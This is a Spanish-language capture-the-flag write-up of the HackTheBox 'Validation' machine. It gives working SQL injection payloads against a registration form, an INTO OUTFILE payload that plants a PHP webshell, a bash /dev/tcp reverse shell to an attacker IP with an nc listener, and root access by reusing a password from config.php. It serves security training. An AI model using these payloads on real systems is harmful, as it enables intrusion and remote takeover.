🟢Validation

Write-up de la máquina Validation de HackTheBox #writeup #walkthrough

Enumeración

Enumeración de puertos

Comenzamos la resolución de la máquina Validation realizando la enumeración rápida de los servicios que está ejecutando el objetivo.

nmap -p- --open -Pn --min-rate 500 10.10.11.116

Cuatro puertos abiertos: 22,80,4566 y 8080. El siguiente paso será la enumeración detallada de los servicios que hemos descubierto.

nmap -p22,80,4566,8080 -sVC -Pn -n 10.10.11.116

VERSIONES

  • Puerto 22 -> SSH -> OpenSSH 8.2

  • Puerto 80 -> HTTP -> Apache httpd 2.4.48

  • Puerto 4566 -> HTTP -> nginx

  • Puerto 8080 -> HTTP -> nginx

Enumeración Web

El equipo objetivo está ejecutando un servidor Web en el puerto 80. Vamos a ver su contenido y a enumerar directorios y archivos interesantes.

Vemos lo que parece un formulario de registro de usuarios por nacionalidad. Vamos a continuar con la enumeración de directorios.

dirsearch -u 10.10.11.116 -i 200,301,401

Vemos dos archivos que pueden ser interesantes, config.php y account.php. Veamos su contenido.

Nada interesante. Continuaremos entonces buscando vectores vulnerables en el sitio Web.

Explotación

Durante la enumeración del sitio Web encontramos que existe un formulario para registrar usuarios por países. Vamos a tratar de comprobar si presenta vulnerabilidades de SQLi. Registramos varios usuarios distintos.

Ahora capturamos la petición con BurpSuite para empezar a jugar con ella.

Vamos a tratar de generar un error de sintaxis para comprobar si el formulario es vulnerable a SQLi.

Como podemos comprobar el formulario es vulnerable a SQLi. Vamos a ver como podemos aprovechar esta vulnerabilidad.

username=securiters&country=Spain'or'1'='1

Podemos extraer toda la lista de usuarios registrados en la base de datos. También podemos ver que versión de base de datos se está ejecutando.

username=securiters&country=Spain'union select version()-- -

Podemos listar las diferentes bases de datos.

username=securiters&country=Spain'union select schema_name from information_schema.schemata-- -

Sabemos que es vulnerable a SQLi y vemos toda la información que podemos conseguir. Pero, y si aprovechamos la vulnerabilidad presente para tratar de crear un archivo malicioso en el sistema con el que podamos crear una webshell que nos permita ejecutar comandos.

username=securiters&country=Spain' union select '<?php SYSTEM($_REQUEST["cmd"]); ?>' INTO OUTFILE '/var/www/html/securitersshell.php'-- -

Ya podemos ejecutar comandos en el sistema. Vamos a tratar de aprovechar esto para ejecutar una reverse shell entre el objetivo y nuestra máquina de ataque.

bash -c "bash -i >& /dev/tcp/10.10.16.5/1234 0>&1"
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.16.5%2F1234%200%3E%261%22

Por otro lado, configuramos un oyente nc en el puerto 1234

nc -lnvp 1234 

Obtenemos acceso al sistema como www-data. Ahora, vamos a buscar la flag user.txt

find / -name user.txt 2>/dev/null

Elevación de privilegios

Una vez tenemos acceso a sistema con bajos privilegios, el siguiente paso es buscar vectores que nos permitan la elevación de privilegios. Comenzamos enumerando que se puede ejecutar como www-data sin necesidad de contraseña.

Parece que sudo no está instalado en el sistema. Continuamos enumerando los permisos SUID.

find / -perm -u=s -type f 2>/dev/null

No existe ningún binario con permiso que nos permita elevar privilegios. Podemos hacer también una enumeración de capabilities.

getcap -r / 2>/dev/null

Pero tampoco hay nada interesante. Veamos el directorio donde accedimos cuando ejecutamos la reverse shell.

Vemos el archivo config.php que encontrábamos en la enumeración inicial pero al que no podíamos acceder. Este archivo puede contener credenciales interesantes de otros usuarios de sistema.

Vamos a comprobar si son credenciales válidas del sistema.

Y el usuario no es válido pero la contraseña nos permite iniciar sesión en el sistema con privilegios máximos. Ahora a buscar la flag final.

Y ya tendríamos resuelta la máquina Validation de Hack The Box.

Last updated